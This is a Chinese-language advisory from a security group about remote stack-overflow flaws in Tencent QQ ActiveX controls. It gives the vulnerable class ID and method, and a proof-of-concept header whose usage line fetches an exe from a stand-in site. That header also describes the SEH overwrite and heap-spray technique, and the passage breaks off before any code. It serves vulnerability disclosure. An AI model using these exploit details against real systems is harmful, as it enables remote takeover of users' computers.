國內著名安全組織幻影PH4NT0M近日發佈了多個QQ遠程溢出執行漏洞,通過此漏洞可在對方計算機上執行任意程序,以達到完全控制對方計算機的目的。騰訊已發佈了針對此漏洞的補丁。請各位立即升級到最新版本。
Tencent QQ 多個遠程溢出漏洞
by axis(axis_at_ph4nt0m.org)
摘要:
QQ是由Tencent公司開發的一個IM軟件,在中國有著非常廣泛的用戶。
DSW Avert在200612.31發現了QQ的幾個0day漏洞,並通知了QQ官方。QQ在2007.1.1進行了升級。事實上,在此之前,幻影旅團 (ph4nt0m)的axis就已經發現了這些漏洞,出於一些原因未曾公佈,現在漏洞被公開了,所以將細節和可利用的POC公佈如下:
QQ的這幾個漏洞,均是由於Activex Control造成的,相關dll分別是:VQQPLAYER.OCX,VQQsdl.dll,V2MailActiveX.ocx
其中有一個成功利用後,將可遠程控制用戶電腦,因為是activex的,所以只需要用戶安裝過QQ,甚至不需要其登錄,就可以成功利用。
另外幾個漏洞分別是拒絕服務漏洞,不可執行,在此不再贅述。
影響版本:
Tencent QQ2006正式版及之前所有版本。(未升級2007.1.1補丁)
細節:
在VQQPLAYER.OCX中,由於程序員的粗心,存在一個棧溢出漏洞,在函數返回時,可以控制EIP。
漏洞存在的Method是LaunchP2PShare,
ClassId是{AC3A36A8-9BFF-410A-A33D-2279FFEB69D2}
其原型是:
[id(0x00000030)]
VARIANT_BOOL LaunchP2PShare(
BSTR szExeName,
long nDuration);
第一個參數沒有進行長度檢查,為超長字符串時,將造成一個棧溢出。
幻影旅團將對此發佈一個POC代碼,請勿將此作為非法用途
POC:
------------------------------------------
/*
*-----------------------------------------
*
* Tencent QQ VQQPlayer.ocx (all version) 0day
*
*
* Author: axis
* Date: 2006-12-27
* Mail: [email protected]
*
* Bug discovered by [email protected]
* :
* :
* :
* :
* :Usage: filename [htmlfile]
* : filename.exe site.com/file.exe localhtml.htm
*
* 在VQQPlayer.ocx中的LaunchP2PShare函數的第一個參數沒有做邊界檢查,超長將在MFC42.dll覆蓋到eip和seh
* QQ是vc6編譯的,所以可以用覆蓋返回地址的方法,不過要求覆蓋eip和以前的是可見字符,要求比較苛刻
* 而且覆蓋返回地址的方法,和QQ安裝路徑有關,因為是這樣覆蓋起 c:program files encentqqAAAAA....
* 覆蓋seh方法比較通用,使用heap spray的方法,跳到0x0c0c0c0c中去執行shellcode,但是會關閉ie。